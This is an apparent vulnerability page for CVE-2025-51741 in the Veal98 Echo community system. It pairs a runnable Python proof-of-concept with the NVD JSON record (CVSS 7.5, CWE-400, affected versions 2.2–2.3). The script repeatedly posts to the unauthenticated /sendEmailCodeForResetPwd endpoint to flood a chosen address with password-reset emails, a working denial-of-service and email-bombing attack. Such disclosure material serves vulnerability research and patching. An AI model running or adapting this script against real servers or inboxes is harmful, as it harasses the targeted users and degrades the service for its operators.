CVE-2025-51741

import requests import time # CVE-2025-51741 PoC - Veal98 Echo Email Verification DoS # Description: Unauthenticated attacker can send email verification codes to arbitrary users # via /sendEmailCodeForResetPwd endpoint, causing DoS to server or downstream users TARGET_URL = "http://target-server.com" ENDPOINT = "/sendEmailCodeForResetPwd" TARGET_EMAIL = "[email protected]" def send_email_code(email): """Send password reset email code to target email""" url = f"{TARGET_URL}{ENDPOINT}" data = { "email": email } try: response = requests.post(url, json=data, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def exploit_dos(): """Perform DoS attack by sending multiple email codes""" print(f"[*] Starting DoS attack against {TARGET_EMAIL}") print(f"[*] Target endpoint: {TARGET_URL}{ENDPOINT}") for i in range(10): status, response = send_email_code(TARGET_EMAIL) if status == 200: print(f"[+] Request {i+1}: Success - Email sent to {TARGET_EMAIL}") else: print(f"[-] Request {i+1}: Failed - Status {status}") time.sleep(1) # Delay between requests print("[*] Attack completed") if __name__ == "__main__": exploit_dos()

{"cve": {"id": "CVE-2025-51741", "sourceIdentifier": "[email protected]", "published": "2025-11-25T21:15:55.743", "lastModified": "2025-12-30T16:52:12.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Veal98 Echo Open-Source Community System 2.2 thru 2.3 allowing an unauthenticated attacker to cause the server to send email verification messages to arbitrary users via the /sendEmailCodeForResetPwd endpoint potentially causing a denial of service to the server or the downstream users."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:interviewx:echo:2.2:*:*:*:*:*:*:*", "matchCriteriaId": "CAC6D6BC-7BA6-4137-B67C-05D98534D496"}, {"vulnerable": true, "criteria": "cpe:2.3:a:interviewx:echo:2.3:*:*:*:*:*:*:*", "matchCriteriaId": "1B4CEDF8-3F90-4F31-9D8C-8BD8B07D949E"}]}]}], "references": [{"url": "http://echo.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://gist.github.com/Paxsizy/9d92e8746778cf0926705d89b4f3618c", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/Veal98/Echo", "source": "[email protected]", "tags": ["Product"]}]}}